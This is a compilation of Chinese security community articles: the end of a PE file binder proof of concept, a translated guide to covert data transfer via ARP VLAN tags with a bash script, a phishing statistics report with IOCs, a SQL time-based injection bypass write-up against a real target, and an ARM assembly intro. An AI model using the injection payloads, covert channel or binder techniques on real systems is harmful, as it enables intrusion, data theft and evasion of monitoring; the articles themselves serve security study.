pinh->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint;
// update OEP in shellcode
::CopyMemory(output.data() + pishAids->PointerToRawData + SHELLCODE_START_OFFSET SHELLCODE_OEP_OFFSET, &dwOEP, sizeof(dwOEP));
**六、成果展示**
这里我会展示两个可执行文件绑定后的效果，我选择使用 **PEview.exe** 作为目标文件，使用 **putty.exe** 作为载荷文件。
**6.1 程序执行效果**
**6.2 查看section**
.aids section
.payload section
**七、总结**
这种方法不仅可以把简单shellcode注入可执行文件，弹出消息对话框，进一步扩展后可以完成更为复杂的操作，比如可以生成完全独立的可执行文件。只需要掌握PE文件的相关知识、基本的shellcode编写技巧以及Windows系统的一些内部工作原理，我们能发挥的空间（基本）不会受到任何限制。
**八、可改进的地方**
Arkhos只是一个PoC工程，用来演示恶意用户如何在受害者主机上执行未经授权的程序。我们可以做些改进，使这种技术的实际威胁程度大大提高，比如我们可以隐藏载荷的窗口，通过压缩及（或）加密方法来混淆载荷等。就目前而言，许多杀毒软件可以检测出这种组合式可执行程序，可参考[VirusTotal](https://www.virustotal.com/#/file/4f4088b27a590508b47fd34462ce785896691db5ff399b2d3f038d1a5f271855/detection)查看具体的检测结果。
我会在我的[GitLab](https://gitlab.s-3.tech/93aef0ce4dd141ece6f5/Arkhos)上更新源代码及二进制文件。
希望本文能给某些读者带来灵感或启发。 | 社区文章 |
# LAN内利用ARP流量的VID Tag传输数据
|
##### 译文声明
本文是翻译文章，文章原作者 DamonMohammadbagher，文章来源：github.com
原文地址：<https://github.com/DamonMohammadbagher/NativePayload_ARP2/blob/master/Article/Sending%20DATA%20via%20ARP%20broadcast%20Traffic%20to%20all%20systems%20in%20(LAN)%20by%20(vid%20tag).pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
这篇文章中我想就ARP流量再一次进行讨论，在此之前，于我的上一篇[文章](https://www.peerlyst.com/posts/transfer-backdoor-payloads-by-arp-traffic-and-bypassing-avs-damon-mohammadbagher)
中我们已经谈论过这个话题——通过ARP流量传输数据，以及使用[NativePayload_ARP.sh](https://github.com/DamonMohammadbagher/NativePayload_ARP/blob/master/For_Linux_Macchanger/Macchange.sh)
来更改MAC地址。这是一种常见且有用的方式用以在2层的局域网主机之间传输数据，对于建立了桥接的物理主机与虚拟主机同样有效。
但使用这种方法，你发送数据的主机MAC地址总是在不断变化。Now，在这篇文章中我将介绍一种不用改变MAC地址就可以利用ARP流量传输数据的新方法。
在此方法中，我们可以通过ARP流量的`VID Tag`发送数据给局域网内的所有主机。
## 0x01 声明
1. 这篇文章中我不想再讨论如何在Windows系统下实现，以及如何使用`C#`来编写相关工具。这次我想在Linux系统下实现，同时编写一个简单的`Shell`脚本来实现该方法。
2. 我不是一个专业的`Bash Shell`程序员，但我想，我们可以很轻松地完成这项工作。
3. 举个例子，我们想通过ARP流量的`VID Tag`传送”Are you going to Scarborough Fair?”给局域网内的所有主机。
4.
## 0x02 为什么是VID Tag?
简单来说，因为这是一种正常且合法的行为用以改变ARP数据包中的字节。我认为，这种方法可以很好地躲避局域网内嗅探工具或者杀软的检测。但确保你仅在测试环境中使用此方法。
## 0x03 如何使用VID Tag作为Payload?
为了解释方便，我们需要一段文本，就让我们使用”Are you going to Scarborough
Fair?”这段文本。你需要将这段文本分成字节块，然后你就可以使用每个字符的十六进制字节块来作为`VID Tag`。
让我来通过命令一步步地解释。
使用下面这条命令，你可以轻松地看到每个字符的字节表示。这种情况下，我将该字符串分成每行10个字符显示：
echo "Are you going to Scarborough Fair?" | xxd -c 10
0000000: 4172 6520 796f 7520 676f Are you go
000000a: 696e 6720 746f 2053 6361 ing to Sca
0000014: 7262 6f72 6f75 6768 2046 rborough F
000001e: 6169 723f 0a air?.
正如你看到的，第一行是下面这段：
0000000: 4172 6520 796f 7520 676f Are you go
bytes=char
41='A'
72='r'
65='e'
20=' '
79='y'
...
如果我们想把’A’作为Payload通过`VID Tag`传输的话，那么我们应该注入`0x41`到ARP广播包中。但是如何才能做到？
## 0x04 一步步地教你如何发送“定制”ARP广播包
关于`VID/Vlan-ID Tag`有一点要郑重说明：你的`Vlan-ID`必须位于0-4094之间。所以我们只能使用整数。
### 0x04.1 准备工作
首先，我们需要知道在Linux下如何使用命令发送ARP广播包，如何在广播包中使用我们的`Vlan-ID`。
使用下面这些命令我们可以轻松地拥有一个“新”VLAN和Vlan-ID：
root@kali:~# ip link add link eth0 name Vlanx type vlan id 13
root@kali:~# ip addr add 192.168.110.1/24 brd 192.168.110.255 dev Vlanx
root@kali:~# ip link set dev Vlanx up
正如你看到的，我们拥有了一个新的VLAN网络接口，它的VID是13，IP地址池是192.168.110.1/24，广播地址是192.168.110.255。
到目前为止，我们已经创建了一个VLAN，但接下来我们需要知道如何在LAN中发送这个VLAN的ARP广播包。
### 0x04.2 发送广播包
这是关键的一步，如何自动发送ARP广播包？为什么要这样做？
先来回答第二个问题：为什么要这样做？
因为我们使用下面这条命令后，将Payload作为`VID Tag`注入到了广播包中：
root@kali:~# ip link add link eth0 name Vlanx type vlan id 13
这就意味着：你的ARP广播包会携带着`VID Tag`，同时LAN内的所有主机都会接收到这个带有`13`的ARP广播包。
下面回答第一个问题：如何自动发送ARP广播包？
你可以使用一个简单的技巧，如何你想发送ARP广播包的话，你只需发送对`192.168.110.1/24`内某一主机的PING请求即可。目标主机IP地址应该位于`192.168.110.2`到`192.168.110.254`之间。
另外，当你PING某一主机时，因为你PING的主机不存在，所以在每次PING请求之前会持续发送ARP请求。也就是说，如果你发送两次PING请求(例如：ping
192.168.110.2)，至少会有两次对192.168.110.2的ARP请求。
让我来给你展示一下：
## 0x05 抓取数据包
使用下面这条命令你可以很好地抓取ARP广播包：
下面是`tcpdump`命令的输出内容：
root@kali:~# tcpdump -XX -v broadcast | grep 0x0000
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
在`0x0000`行， “ffff ffff ffff”和“000d”这两个字段非常重要：
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
“ffff ffff ffff”：代表这是ARP广播包（发送给LAN中所有主机）。
“000d”：你的`VID Tag`。
printf “%x” 13 ===> d
如果你不使用`grep`命令对`tcpdump`的结果进行处理，结果可能是下面这个样子：
root@kali:~# tcpdump -XX -v broadcast
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:09:44.640827 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.110.2 tell kali, length 28
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
0x0010: 0806 0001 0800 0604 0001 0800 279c 70b1 ............'.p.
13:09:45.637062 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.110.2 tell kali, length 28
0x0000: ffff ffff ffff 0800 279c 70b1 8100 000d ........'.p.....
0x0010: 0806 0001 0800 0604 0001 0800 279c 70b1 ............'.p.
下面两张图片将会为你展示，如何在Linux下通过改变VID将`VID Tag`由13变为4094：
printf “%x” 4094 ===> ffe
正如你看到的，代表VID的字节从`0x000d`变为`0x0ffe`，即从13变为4094。
## 0x06 脚本实现
你是否还记得 “Are you going to Scarborough
Fair?”这段文本，如果我们想将这段文本作为Payload发送，那么现在你应该知道了如何去实现它。
echo "Are you going to Scarborough Fair?" | xxd -c 10
0000000: 4172 6520 796f 7520 676f Are you go
000000a: 696e 6720 746f 2053 6361 ing to Sca
0000014: 7262 6f72 6f75 6768 2046 rborough F
000001e: 6169 723f 0a air?.
我们将第一行作为示例：
0000000: 4172 6520 796f 7520 676f Are you go
byte=char
41 = 'A'
72 = 'r'
65 = 'e'
20 = ' '
79 = 'y'
…
这表示我们发送第一个字符`A`时，我们的`VID Tag`应该是`0x41`。现在，我们可以通过下面的命令将它注入到我们的ARP广播包中：
root@kali:~# echo $(echo "A" | xxd -p -c 1 )
41 0a
root@kali:~# ops=`echo $(echo "A" | xxd -p -c 1)`
root@kali:~# echo "${ops::-2}"
41
root@kali:~# ops2=`echo "${ops::-2}"`
root@kali:~# echo $ops2
41
root@kali:~# echo $((0x$ops2))
65
root@kali:~#
下面来解释一下上面的代码。
使用下面的命令你会得到`A`的十六进制字节表示：
root@kali:~# echo $(echo "A" | xxd -p -c 1 )
41 0a
root@kali:~# ops=`echo $(echo "A" | xxd -p -c 1)`
root@kali:~# echo "${ops::-2}"
41
root@kali:~# ops2=`echo "${ops::-2}"`
root@kali:~# echo $ops2
下面这条命令将其转换为十进制：
root@kali:~# echo $((0x$ops2))
65
root@kali:~#
所以，我们的结果应该是：A=> 0x41(bytes) => 65(Decimal)。你的`VID Tag`就是65。
root@kali:~# ip link add link eth0 name Vlanx type vlan id 65
root@kali:~# ip addr add 192.168.110.1/24 brd 192.168.110.255 dev Vlanx
root@kali:~# ip link set dev Vlanx up
root@kali:~# ping 192.168.110.2
下一步就是从ARP广播包中接收这些字节：
现在你可以使用下面这个简单的脚本来实现上面的步骤：
#!/bin/sh
mytext="Are you going to Scarborough Fair?"
for text in `echo $mytext | xxd -p -c 1`;
do
ops=`echo $(echo $text)`
vlanID=`echo $((0x$ops))`
echo "bytes: " $ops "VID Decimal: " $vlanID
`ip link add link "eth0" name "Vlanx" type vlan id $vlanID`
sleep 0.3
`ip addr add 192.168.110.1/24 brd 192.168.110.255 dev Vlanx`
sleep 0.3
`ip link set dev Vlanx up`
sleep 0.2
ping 192.168.110.2 -c 2 | grep "ops" &
sleep 1.8
`ip link delete Vlanx`
done
从下面这张图片中你可以看到脚本的执行结果：
正如你从这些图片中看到的那样，我们实现了通过带有`VID Tag`的ARP广播包将文本发送给LAN中的所有主机。
## 0x06 如何使用NativePayload_ARP2.sh
现在我想谈论一下NativePayload_ARP2.sh这个脚本，使用该脚本你可以通过ARP广播发送文本文件以及接收文本文件。该脚本有两种使用方法。
### 0x06.1 双方都使用NativePayload_ARP2.sh
在该方法中，你可以这样来做：
Step1: (System A ) ./NativePayload_ARP2.sh -listen (Packet Number)
Step2: (System B ) ./NativePayload_ARP2.sh -send TextFile.txt [VlanName] [vlan-Subnet/mask] [vlan-Broadcast] -p [vlan- PingIPv4] [(wlan0,eth0,vboxnet0,etc.)]
这种情况下，你既可以使用该脚本来发送数据，亦可以使用它来接收。下面的图片中我使用了3台主机进行演示：一台物理机(IP地址：192.168.56.1)和两台虚拟机(IP地址分别是192.168.56.101,192.168.56.102)。
重点在于`-listen (Packet Number)`：你的`Packet Number`应该是`文本文件长度*2`。
# cat test.txt | xxd -c 10
0000000: 5365 6e64 696e 6720 4441 Sending DA
000000a: 5441 2076 6961 2041 5250 TA via ARP
0000014: 2042 726f 6164 6361 7374 Broadcast
000001e: 2026 2056 4944 0a & VID.
正如你看到的，文本文件长度是36Bytes，所以你的`Packet Number`应该是72。
下面的图片中你可以看到这种方法的结果：
从图片中你可以看出脚本使用`tcpdump`工具接收到72个ARP广播包，接收到的文本内容是“Esending DATA via ARERP
Broadcast & VI”，这个结果是不是看起来有些不太好？
“Esending DATA via ARERP Broadcast & VI”
结果中的“E”是LAN内不知从何处而来的两个广播包中的数据，恰好被脚本接收到。不过你可以根据你的想法来改进代码，解决这个问题。
### 0x06.2 一方使用NativePayload_ARP2.sh，另一方使用tcpdump
在该方法中，你可以使用脚本发送数据，同时接收端使用`tcpdump`接收数据。
你应当使用下面的命令：
Step1: (System A ) tcpdump -XX -v broadcast | grep 0x0000
Step2: (System B ) ./NativePayload_ARP2.sh -send TextFile.txt [VlanName] [vlan-Subnet/mask] [vlan-Broadcast] -p [vlan- PingIPv4] [(wlan0,eth0,vboxnet0,etc.)]
## 0x07 总结
一个简单的脚本让你可以通过ARP广播包的`VID
Tag`来传输数据给LAN内所有主机，无论是物理机传输给物理机还是物理机传输给虚拟机，同时这种方法是躲避某些AV(Anti-Virus)或是LAN内监测工具的一种很好的方式，但一定要确保你仅在测试环境中使用此方法。
脚本地址：[Github](https://github.com/DamonMohammadbagher/NativePayload_ARP2)
视频：[Youtube](https://www.youtube.com/watch?v=C4fB7NQJHO4)
## 译者的话：
1. `0x00 前言`部分提到的[NativePayload_ARP.sh](https://github.com/DamonMohammadbagher/NativePayload_ARP/blob/master/For_Linux_Macchanger/Macchange.sh) 并非`NativePayload_ARP.sh`，而是`Macchange.sh`，我的链接已经指向了它；
2. 文章的结构划分在原文中并没有体现，译者自作主张将文章根据其内容划分成了7个小节；
3. 作者在Github中给出了视频链接，一并放于文章末尾，以供读者观看；
作者脚本中listen功能实现中的
tcpdump -c $2 -XX -v "broadcast" | grep -e 0806 -e "ffff ffff ffff" | grep 0x0000: | awk {'print $9'}
这行代码，译者在实践过程修改为：
tcpdump -XX broadcast | grep -E '0x0010.*0806|0x0000.*8100' | grep '0x0000:' | awk {'print $9'}
至于为何这样修改，作者在`0x06.1`已经提到了，不再赘述。译者水平有限，如果读者有更好的修改方案请不吝赐教。 | 社区文章 |
# Palo Alto Networks公布2018年第一季度网络钓鱼活动趋势
|
##### 译文声明
本文是翻译文章，文章来源：researchcenter.paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/06/unit42-phishing-nutshell-january-march-2018/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
网络钓鱼仍然是网络攻击最危险的威胁向量之一。尽管漏洞利用工具包总体呈下降趋势，正如我们在《[Rig EK One Year Later: From
Ransomware to Coin Miners and Information
Stealers](https://researchcenter.paloaltonetworks.com/2018/02/unit42-rig-ek-one-year-later-from-ransomware-to-coin-miners-and-information-stealers/)》一文中描述的那样，网络钓鱼本身并没有下降。Unit
42在最近已经开展了有关网络钓鱼攻击和钓鱼网址的研究。在这篇文章中，我们将展示在2018年第一季度（1月至3月）完成的一些有关网络钓鱼攻击，尤其是HTTPS钓鱼网址的统计结果。
## 钓鱼网址统计结果
在2018年第一季度，我们发现了来自262个用于网络钓鱼攻击的独特域名的4213个网址。平均而言，我们发现每一个域名服务于16个不同的钓鱼网址。下面的热点图显示了这262个域名的地理分布。
图1.网络钓鱼域名地理分布热点图
在这些网络钓鱼域名中，有超过一半托管在美国。排在其后的两个国家，托管的域名数量明显减少：德国28个，波兰13个。如图2所示。
图2.托管网钓鱼域名的国家/地区，以及对应的数量
我们还发现了几个托管在非洲和南美的网络钓鱼域名。
在4213个钓鱼网址中，有2066个使用一个通用的钓鱼页面模板，可以针对多个不同的公司或组织。例如，攻击者使用name 为“next1.php”和ID为
“chalbhai”的表单来瞄准美国银行的客户。我们还观察到，与之类似的模板瞄准了DropBox用户，并用于美国国家税局（IRS）的税务欺诈计划。
图3.chalbhai钓鱼网页源代码示例
除了通用的钓鱼页面模板之外，还有1404个网址包含瞄准Adobe用户的钓鱼页面，155个瞄准DropBox用户，18个瞄准Facebook用户，442个瞄准Google
Docs用户，108个瞄准Google Drive用户以及20个瞄准Office
365用户。图4是一个柱形图，展示了按目标分类的钓鱼网址分布。从图中我们可以看到，使用通用钓鱼页面的网址约占总数的50%，其次是瞄准Adobe和Google帐户的网址，分别占33％和13％。除前三名外，还有一些瞄准Office
365和Facebook账户的网址。
图4.钓鱼网址分布
## HTTPS钓鱼网址
HTTPS钓鱼网址更加难以识别。因此，我们在识别和分析它们上付出了更多的努力。在4213个钓鱼网址中，1010个来自46个唯一域名的HTTPS网址。平均而言，一个域名投放了21个不同的钓鱼网址。图5显示了HTTP和HTTPS在钓鱼网址和域名上的比较。
图5.HTTP和HTTPS比较
我们还调查了46个域名的证书颁发机构。我们发现“cPanel”为31个钓鱼域名颁发了证书，“COMODO”和“Let’s
Encrypt”分别为6个不同的钓鱼域名颁发了证书，“Go Daddy Secure”颁发了一个，还有2个不再使用的域。如图6所示。
图6.证书颁发机构
Unit 42已经联系了所有托管机构和证书颁发机构。“Comodo”证书已经不再被Google信任，这里只有一个来自“Go Daddy
Secure”。下图包含了完整的域名和证书列表。我们强烈建议将它们添加到可疑证书列表中。
图7.网络钓鱼域名证书颁发机构
## 网络钓鱼工具包
为了使网络钓鱼攻击更加有效，攻击者通常会将一个网站（旨在用于网络钓鱼攻击活动）的修改后的文件复制并打包到一个zip文件，并将其上传到多个受损网站。这个zip文件可以被认为是[钓鱼工具包（
_phishing kit_ ）](https://duo.com/assets/ebooks/phish-in-a-barrel.pdf)的一部分。解压zip文件并部署钓鱼网站后，一些攻击者未能删除zip文件，使得研究人员可以公开访问该文件以分析其内容。在我们的研究中，我们收集了钓鱼zip文件样本。以下是一个钓鱼示例，目标瞄准的是Outlook/Office365帐户，如图8和图9所示。
图8.网络钓鱼工具包的目录
图9\. 网络钓鱼工具包中CSS目录的内容
## 总结
在本文中，我们展示了一些来自2018年第一季度的钓鱼统计数据，展示了钓鱼攻击目标分布、通用的钓鱼模板和网络钓鱼工具包。特别是，我们展示了HTTPS钓鱼网址及其证书颁发机构的分布。HTTPS钓鱼网址是值得注意的，因为许多人认为HTTPS更加值得信任，但与之对应的，恶意链接也更加难以识别。
## IOCs
Carrentalahmedabad[.]info
|
(dead)
|
(dead)
---|---|---
Sdlfkjttq[.]tk
|
(dead)
|
(dead)
ana-ero[.]bid
|
COMODO ECC Domain Validation Secure Server CA 2
|
sni50732.cloudflaressl[.]com
www.discoverdiva[.]com
|
COMODO ECC Domain Validation Secure Server CA 2
|
sni222615.cloudflaressl[.]com
biomedics.000webhostapp[.]com
|
COMODO RSA Domain Validation Secure Server CA
|
*.000webhostapp[.]com
clements.000webhostapp[.]com
|
COMODO RSA Domain Validation Secure Server CA
|
*.000webhostapp[.]com
offiicceeeedrop.000webhostapp[.]com
|
COMODO RSA Domain Validation Secure Server CA
|
*.000webhostapp[.]com
re-fb.000webhostapp[.]com
|
COMODO RSA Domain Validation Secure Server CA
|
*.000webhostapp[.]com
Allamericantrade[.]eu
|
cPanel, Inc. Certification Authority
|
Allamericantrade[.]eu
Allamericantrade[.]pl
|
cPanel, Inc. Certification Authority
|
Allamericantrade[.]pl
Azadtehsil[.]ml
|
cPanel, Inc. Certification Authority
|
Azadtehsil[.]ml
Bectronix[.]tech
|
cPanel, Inc. Certification Authority
|
Bectronix[.]tech
Clearwaterfiles[.]ml
|
cPanel, Inc. Certification Authority
|
Clearwaterfiles[.]ml
Clearwaterfiles[.]tk
|
cPanel, Inc. Certification Authority
|
Clearwaterfiles[.]tk
Cloudhsh[.]com
|
cPanel, Inc. Certification Authority
|
Cloudhsh[.]com
Cristaleriags[.]es
|
cPanel, Inc. Certification Authority
|
Cristaleriags[.]es
cristelito.com[.]pl
|
cPanel, Inc. Certification Authority
|
cristelito.com[.]pl
cuh-dubai[.]com
|
cPanel, Inc. Certification Authority
|
cuh-dubai[.]comcom
diabeticosaudavel.com[.]br
|
cPanel, Inc. Certification Authority
|
diabeticosaudavel.com[.]br
Dunkelbergerz[.]ga
|
cPanel, Inc. Certification Authority
|
Dunkelbergerz[.]ga
ea23travel[.]com
|
cPanel, Inc. Certification Authority
|
ea23travel[.]com
Filtrao[.]org
|
cPanel, Inc. Certification Authority
|
Filtrao[.]org
Footworkapp[.]ga
|
cPanel, Inc. Certification Authority
|
Footworkapp[.]ga
Hentoshphotography[.]com
|
cPanel, Inc. Certification Authority
|
Hentoshphotography[.]com
mail.allamericantrade[.]eu
|
cPanel, Inc. Certification Authority
|
Allamericantrade[.]eu
mail.cristelito.com[.]pl
|
cPanel, Inc. Certification Authority
|
cristelito.com[.]pl
mecanicoadomicilio.com[.]ve
|
cPanel, Inc. Certification Authority
|
mecanicoadomicilio.com[.]ve
mic-office[.]cf
|
cPanel, Inc. Certification Authority
|
mic-office[.]cf
mic-office[.]ga
|
cPanel, Inc. Certification Authority
|
mic-office[.]ga
richbtc4u[.]com
|
cPanel, Inc. Certification Authority
|
richbtc4u[.]com
Servicenterelectronic[.]com
|
cPanel, Inc. Certification Authority
|
Servicenterelectronic[.]com
Theaafiz[.]com
|
cPanel, Inc. Certification Authority
|
Theaafiz[.]com
vweds.usa[.]cc
|
cPanel, Inc. Certification Authority
|
vweds.usa[.]cccc
www.allamericantrade[.]eu
|
cPanel, Inc. Certification Authority
|
Allamericantrade[.]eu
www.cristelito.com[.]pl
|
cPanel, Inc. Certification Authority
|
cristelito.com[.]pl
www.manglammilk[.]com
|
cPanel, Inc. Certification Authority
|
Manglammilk[.]com
www.servicenterelectronic[.]com
|
cPanel, Inc. Certification Authority
|
Servicenterelectronic[.]com
www.upperdelawarescenicbyway[.]org
|
cPanel, Inc. Certification Authority
|
Upperdelawarescenicbyway[.]org
Zyaviv[.]com
|
cPanel, Inc. Certification Authority
|
Zyaviv[.]com
Getwealthi[.]com
|
Go Daddy Secure Certificate Authority – G2
|
Chasethepaper[.]com
Farmking[.]in
|
Let’s Encrypt Authority X3
|
Farmking[.]in
Cabinetdetectivi[.]ro
|
Let’s Encrypt Authority X3
|
Cabinetdetectivi[.]ro
Stiesdal[.]com
|
Let’s Encrypt Authority X3
|
Stiesdal[.]com
Stingereincendiu[.]ro
|
Let’s Encrypt Authority X3
|
Stingereincendiu[.]ro
usps.com.runningwild.co[.]ke
|
Let’s Encrypt Authority X3
|
usps.com.runningwild.co[.]ke
www.duannhatrangpearl.com[.]vn
|
Let’s Encrypt Authority X3
|
duannhatrangpearl.com[.]vn
审核人：yiwang 编辑：边边 | 社区文章 |
# 0x01 发现切入点
前几天的大型活动中，发现某个目标站（php+mysql）存在延时注入注入，注入点如下：
POST /techan/dialog_calendar HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://xxx/
Cookie: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 234
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
containdiv=inputdate&month=1ssds2&suitid=11&year=2020
suitid存在注入，类型为延时盲注，但在测试中发现目标过滤了小括号，这也就意味着Mysql自带的内置函数无法使用，根据之前搜集过一些bypass小括号的tips，最终拿下目标。
此次拿下目标主要是通过笛卡尔积盲注来绕过小括号被过滤，在网上找了一些文章学习，发现都是一笔带过，只给了个延时语句，在此语句利用的前提下，还需要继续构造查询表名、列名、字段内容等等才能成功利用，而现有文章记录太过宽泛，所以在此记录一下详细构造查询的过程。
# 0x02 注入点的确定
先是通过特殊字符构造报错，爆出sql语句，并根据报错语句构造，确定此处为注入点,
containdiv=inputdate&month=12&suitid=1%00%C0%A7%C0%A2%252527%252522&year=2020
注入语句可以控制，直接插入数据库查询，并且发现小括号被过滤
确定为过滤小括号的延时盲注
# 0x03 bypass获取列名
之前自ctf中遇到过过滤小括号的布尔盲注，可以通过like或regexp来绕过，延时注入还是头一次，通过度娘查询，发现有师傅写过可以用笛卡尔积进行延时。
bypass语句也是给出来了，剩下的只是构造语句进行查询了，
union select 1,2,3,4,5,6,7,b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2
但是之前使用笛卡尔积盲注的时候也是配合小括号来使用的，这里只给了一个基础语句，还是需要通过构造没有小括号的判断语句查询。
通过分析控制条件的语句应该是在where语句后，
当where 1=1时存在延时
where 1=2时不延时
为了更好的调试查看返回结果，我选择先在本地数据库中来构造执行语句。
随便找了一个本地数据库`5kcrm`，构造语句
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where 1=1
发现经过延时后，返回的内容为information_schema.cloumns表下columns_name的所有内容，也就是所有的列名
那么我就可以通过like或regexp来判断库中所有列名的内容了，构造语句：
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where b.column_name regexp binary '^addd'
发现成功延时
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where b.column_name regexp binary '^adddxxx'
不延时，说明数据库中无adddxxx开头的列名。然后通过循环遍历所有字符，获取到数据库中所有列名，同样的方法可以获取表名
# 0x04 bypass获取内容
正常情况下，知道了表名和列名，可以直接通过下列语句获取数据库内容：
union select 1,2,3,4,5,6,7,name from 5kcrm_admin
但这里是盲注，而且没有小括号的情况下，还是只能选择笛卡尔积来进行获取，比如这里我通过上面的语句获取到了表名为`5kcrm_user`，列名为`name`
那么可以构造如下语句来判断5kcrm_user表名下name列前两位是否为'ad'开头的内容，如果存在则延时
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,name from information_schema.columns b join 5kcrm_user where name regexp '^ad'
依次遍历，可获取数据库内容 | 社区文章 |
# 【系列分享】ARM 汇编基础速成1：ARM汇编以及汇编语言基础介绍
|
##### 译文声明
本文是翻译文章，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/writing-arm-assembly-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[arnow117](http://bobao.360.cn/member/contribute?uid=941579989)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面
**
欢迎来到ARM汇编基础教程，这套教程是为了让你可以在ARM架构下进行漏洞利用打基础的。在我们能开始写ARM的shellcode以及构建ROP链之前，我们需要先学习相关的ARM汇编基础知识。
这些基础知识包括：
[Part 1：ARM汇编介绍](https://azeria-labs.com/writing-arm-assembly-part-1/)
[Part 2：数据类型寄存器](https://azeria-labs.com/arm-data-types-and-registers-part-2/)
[Part 3: ARM指令集](https://azeria-labs.com/arm-instruction-set-part-3/)
[Part 4: 内存相关指令：加载以及存储](https://azeria-labs.com/memory-instructions-load-and-store-part-4/)
[Part 5：重复性加载及存储](https://azeria-labs.com/load-and-store-multiple-part-5/)
[Part 6: 分支和条件执行](https://azeria-labs.com/arm-conditional-execution-and-branching-part-6/)
[Part 7：栈以及函数](https://azeria-labs.com/functions-and-the-stack-part-7/)
为了能跟着这个系列教程动手实践，你可以准备一个ARM的运行环境。如果你没有ARM设备（比如说树莓派或者手机），你可以通过QEMU来创建一个，[[教程在这]](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)。如果你对于GDB调试的基础命令不熟悉的话，可以通过[[这个]](https://azeria-labs.com/debugging-with-gdb-introduction/)学习。在这篇教程中，我们的核心关注点为32位的ARM，相关的例子在ARMv6下编译。
**为什么是ARM？**
前面说过，本系列教程的核心目的，是为那些想学习在ARM架构下进行漏洞利用的人而准备。可以看看你身边，有多少设备是ARM架构的，
手机，路由器，以及IOT设备，很多都是ARM架构的。无疑ARM架构已经成为了全世界主流而广泛的CPU架构。所以我们面对的越来越多的安全问题，也都会是ARM架构下的，那么在这种架构下的开发以及漏洞利用，也会成为一种主流趋势。
我们在X86架构上进行了很多研究，而ARM可能是最简单的广泛使用的汇编语言。但是人们为什么不关注ARM呢？可能是在intel架构上可供漏洞利用的学习资料比ARM多得多吧。比如[[Corelan
Team]](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)写的很棒的intel
X86漏洞利用教程，旨在帮助我们可以更准确更高效的学习到关键的漏洞利用基础知识。如果你对于x86漏洞利用很感兴趣，那我觉得Corelan
Team的教程是一个不错的选择。但是在我们这个系列里，我们要创造一本高效的ARM架构下的漏洞利用新手手册。
**ARM VS. INTEL**
ARM处理器Intel处理器有很多不同，但是最主要的不同怕是指令集了。Intel属于复杂指令集（CISC）处理器，有很多特性丰富的访问内存的复杂指令集。因此它拥有更多指令代码以及取址都是，但是寄存器比ARM的要少。复杂指令集处理器主要被应用在PC机，工作站以及服务器上。
ARM属于简单指令集（RISC）处理器，所以与复杂指令集先比，只有简单的差不多100条指令集，但会有更多的寄存器。与Intel不同，ARM的指令集仅仅操作寄存器或者是用于从内存的加载/储存过程，这也就是说，简单的加载/存储指令即可访问到内存。这意味着在ARM中，要对特定地址中存储的的32位值加一的话，仅仅需要从内存中加载到寄存器，加一，再从寄存器储存到内存即可。
简单的指令集既有好处也有坏处。一个好处就是代码的执行变得更快了。（RISC指令集允许通过缩短时钟周期来加速代码执行）。坏处就是更少的指令集也要求了编写代码时要更加注意指令间使用的关系以及约束。还有重要的一点，ARM架构有两种模式，ARM模式和Thumb模式。Thumb模式的代码只有2或者4字节。
ARM与X86的不同还体现在：
ARM中很多指令都可以用来做为条件执行的判断依据
X86与X64机器码使用小端格式
ARM机器码在版本3之前是小端。但是之后默认采用大端格式，但可以设置切换到小端。
除了以上这些ARM与Intel间的差异，ARM自身也有很多版本。本系列教程旨在尽力保持通用性的情况下来讲讲ARM的工作流程。而且当你懂得了这个形式，学习其他版本的也很容易了。在系列教程中使用的样例都是在32位的ARMv6下运行的，所以相关解释也是主要依赖这个版本的。
不同版本的ARM命名也是有些复杂：
**写ARM汇编**
在开始用ARM汇编做漏洞利用开发之前，还是需要先学习下基础的汇编语言知识的。为什么我们需要ARM汇编呢，用正常的变成语言写不够么？的确不够，因为如果我们想做逆向工程，或者理解相关二进制程序的执行流程，构建我们自己的ARM架构的shellcode，ROP链，以及调试ARM应用，这些都要求先懂得ARM汇编。当然你也不需要学习的太过深入，足够做逆向工作以及漏洞利用开发刚刚好。如果有些知识要求先了解一些背景知识，别担心，这些知识也会在本系列文章里面介绍到的。当然如果你想学习更多，也可以去本文末尾提供的相关链接学习。
ARM汇编，是一种更容易被人们接受的汇编语言。当然我们的计算机也不能直接运行汇编代码，还是需要编译成机器码的。通过编译工具链中 **as**
程序来将文件后缀为".s"的汇编代码编译成机器码。写完汇编代码后，一般保存后缀为".s"的文件，然后你需要用 **as** 编译以及用 **ld**
链接程序:
$ as program.s -o program.o
$ ld program.o -o program
**汇编语言本质**
